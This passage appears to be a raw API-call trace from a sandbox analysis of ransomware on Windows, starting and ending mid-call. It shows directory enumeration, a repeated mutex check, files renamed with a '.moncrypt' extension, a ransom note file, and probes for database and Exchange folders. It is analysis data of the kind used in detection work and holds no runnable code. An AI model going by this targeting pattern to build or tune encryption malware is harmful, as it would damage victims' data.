(pMem=0x555b78) returned 0x440004 [0054.426] GlobalUnlock (hMem=0x440004) returned 0 [0054.426] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x419e5320, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x419e5320, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0054.426] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0054.426] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.426] GlobalLock (hMem=0x440004) returned 0x550170 [0054.426] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.426] GlobalUnlock (hMem=0x440004) returned 0 [0054.426] GlobalLock (hMem=0x440004) returned 0x550170 [0054.426] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.426] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.426] GlobalUnlock (hMem=0x440004) returned 0 [0054.426] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.426] GlobalUnlock (hMem=0x44000c) returned 0 [0054.426] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.426] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x419e5320, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x419e5320, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.426] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.426] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.426] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.426] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.426] GlobalUnlock (hMem=0x44000c) returned 0 [0054.426] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.427] GlobalLock (hMem=0x440004) returned 0x557b88 [0054.427] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.427] GlobalUnlock (hMem=0x44000c) returned 0 [0054.427] GlobalHandle (pMem=0x557b88) returned 0x440004 [0054.427] GlobalUnlock (hMem=0x440004) returned 0 [0054.427] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.427] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x419bf1c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x419bf1c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x419e5320, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0054.427] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.427] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.427] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.427] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.427] GlobalUnlock (hMem=0x440004) returned 0 [0054.427] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.427] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.427] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.427] GlobalUnlock (hMem=0x440004) returned 0 [0054.427] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.427] GlobalUnlock (hMem=0x44000c) returned 0 [0054.427] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.427] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x137f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0054.427] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.427] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.427] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.427] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.427] GlobalUnlock (hMem=0x44000c) returned 0 [0054.427] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.427] GlobalLock (hMem=0x440004) returned 0x557b88 [0054.427] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.427] GlobalUnlock (hMem=0x44000c) returned 0 [0054.428] GlobalHandle (pMem=0x557b88) returned 0x440004 [0054.428] GlobalUnlock (hMem=0x440004) returned 0 [0054.428] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.428] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7a6700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f7a6700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x19ed9, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG.ELM.moncrypt", cAlternateFileName="SUMIPN~1.MON")) returned 1 [0054.428] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.428] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.428] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.428] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.428] GlobalUnlock (hMem=0x440004) returned 0 [0054.428] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.428] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.428] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.428] GlobalUnlock (hMem=0x440004) returned 0 [0054.428] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.428] GlobalUnlock (hMem=0x44000c) returned 0 [0054.428] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.428] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG.INF", cAlternateFileName="")) returned 1 [0054.428] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.428] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.428] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.428] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.428] GlobalUnlock (hMem=0x44000c) returned 0 [0054.428] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.428] GlobalLock (hMem=0x440004) returned 0x557b88 [0054.428] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.428] GlobalUnlock (hMem=0x44000c) returned 0 [0054.428] GlobalHandle (pMem=0x557b88) returned 0x440004 [0054.429] GlobalUnlock (hMem=0x440004) returned 0 [0054.429] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.429] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xadd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 1 [0054.429] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.429] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.429] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.429] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.429] GlobalUnlock (hMem=0x440004) returned 0 [0054.429] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.429] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.429] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.429] GlobalUnlock (hMem=0x440004) returned 0 [0054.429] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.429] GlobalUnlock (hMem=0x44000c) returned 0 [0054.429] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.429] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xadd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 0 [0054.429] GetLastError () returned 0x12 [0054.429] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0054.429] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc24e4f00, ftCreationTime.dwHighDateTime=0x1c06b0e, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc24e4f00, ftLastWriteTime.dwHighDateTime=0x1c06b0e, nFileSizeHigh=0x0, nFileSizeLow=0x1c6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES.INF", cAlternateFileName="")) returned 1 [0054.430] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0054.430] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0054.430] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.430] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.430] GlobalUnlock (hMem=0x44000c) returned 0 [0054.430] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.430] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.430] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.430] GlobalUnlock (hMem=0x44000c) returned 0 [0054.430] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.430] GlobalUnlock (hMem=0x440004) returned 0 [0054.430] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.430] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER", cAlternateFileName="")) returned 1 [0054.430] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0054.430] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0054.430] GlobalLock (hMem=0x440004) returned 0x550170 [0054.430] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.430] GlobalUnlock (hMem=0x440004) returned 0 [0054.430] GlobalLock (hMem=0x440004) returned 0x550170 [0054.430] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.430] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.430] GlobalUnlock (hMem=0x440004) returned 0 [0054.430] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.430] GlobalUnlock (hMem=0x44000c) returned 0 [0054.430] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.431] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.431] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.431] GlobalUnlock (hMem=0x44000c) returned 0 [0054.431] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.431] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.431] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.431] GlobalUnlock (hMem=0x44000c) returned 0 [0054.431] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.431] GlobalUnlock (hMem=0x440004) returned 0 [0054.431] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.431] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER", len=0x3d | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER") returned 1 [0054.431] GlobalLock (hMem=0x440004) returned 0x550170 [0054.431] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.431] GlobalUnlock (hMem=0x440004) returned 0 [0054.431] GlobalLock (hMem=0x440004) returned 0x550170 [0054.431] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.431] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.431] GlobalUnlock (hMem=0x440004) returned 0 [0054.431] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.431] GlobalUnlock (hMem=0x44000c) returned 0 [0054.432] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a618, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@ꟌRꞠR企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0054.432] GetLastError () returned 0x3 [0054.432] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\water\\") returned 0x3e [0054.432] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0054.432] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0054.432] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a618, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@ꜤR企@\x18㿬Q\x181")) returned 0xffffffff [0054.432] GetLastError () returned 0x2 [0054.432] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\water\\") returned 0x3e [0054.433] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0054.433] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0054.433] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a618, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@몤R企@\x18?T\x18;")) returned 0xffffffff [0054.433] GetLastError () returned 0x2 [0054.433] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\water\\") returned 0x3e [0054.433] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a680, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0054.433] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0054.433] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a618, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@Q企@\x18?T\x18D")) returned 0xffffffff [0054.433] GetLastError () returned 0x2 [0054.434] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\water\\") returned 0x3e [0054.434] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a680, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0054.434] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0054.434] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a618, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@ꜤR企@\x18몤R\x18j")) returned 0xffffffff [0054.434] GetLastError () returned 0x2 [0054.434] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\water\\") returned 0x3e [0054.434] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0054.434] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0054.434] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a618, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@Q企@\x18?T\x18q")) returned 0xffffffff [0054.434] GetLastError () returned 0x2 [0054.435] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\water\\") returned 0x3e [0054.435] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a680, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\몠RP") returned 6 [0054.435] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0054.435] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a618, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@셤R企@\x18?T\x18y")) returned 0xffffffff [0054.435] GetLastError () returned 0x2 [0054.435] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\water\\") returned 0x3e [0054.435] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a680, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0054.435] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0054.435] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a618, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", 